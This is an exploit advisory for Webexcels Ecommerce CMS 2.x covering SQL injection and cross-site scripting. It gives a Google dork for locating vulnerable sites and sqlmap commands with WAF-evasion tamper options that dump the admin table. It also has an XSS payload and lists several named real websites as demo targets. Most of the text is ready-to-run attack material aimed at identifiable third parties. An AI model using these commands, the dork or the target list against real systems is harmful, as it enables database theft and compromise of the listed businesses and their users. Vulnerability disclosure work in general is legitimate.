Webexcels Ecommerce CMS version 2.x suffers from cross site scripting and remote SQL injection vulnerabilities.
f1a0150ad98e19ccd148216e1b64e6e01d5ff4f6ed52d98077cbc41e152cfd9e
# Exploit Title: Webexcels Ecommerce CMS SQL Injection & XSS Vulnerability
# Google Dork: intext:intext:" By WEB EXCELS "+inurl:"?Id="
# Date: 2020-03-27
# Exploit Author: @ThelastVvV
# Vendor Homepage: https://www.webexcels.com/
# Version: 2.x 2017,2018,2019,2020
# Tested on: Ubuntu
---------------------------------------------------------
PoC 1:
The attacker once locate the sql vulnerability can perform an automated process to exploit the secruity in the webapp , in this case using sqlmap in 2 steps only
*Note: once you get the db name you can skip the other steps and directly get "tbl_admin" data (you can use command 1 and 3 ..below)
Payload(s)
https://www.site.com/content.php?Id=[]'[SQL INJECTION VULNERABILITY!]
SQLMAP Payload(s):
sqlmap -u https://www.preceptorsports.com/content.php?Id=23 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs
sqlmap -u https://www.preceptorsports.com/content.php?Id=23 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" -D precepto_web --tables
sqlmap -u https://www.preceptorsports.com/content.php?Id=23 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dump -D precepto_web -T tbl_admin
PoC 2 :
XSS Vulnerability
Payload(s) :
In Search box use payload:
www.anysite.com/search.php?tsearch="><img src=x onerror=prompt(document.domain);>
Demos:
https://www.preceptorsports.com/content.php?Id=23'
https://www.safety-town.com/content.php?Id=50'
https://www.rehanasportspark.co.uk/content.php?Id=46'
https://www.leatherhitz.com/content.php?Id=50'
Greetings:
*indoushka*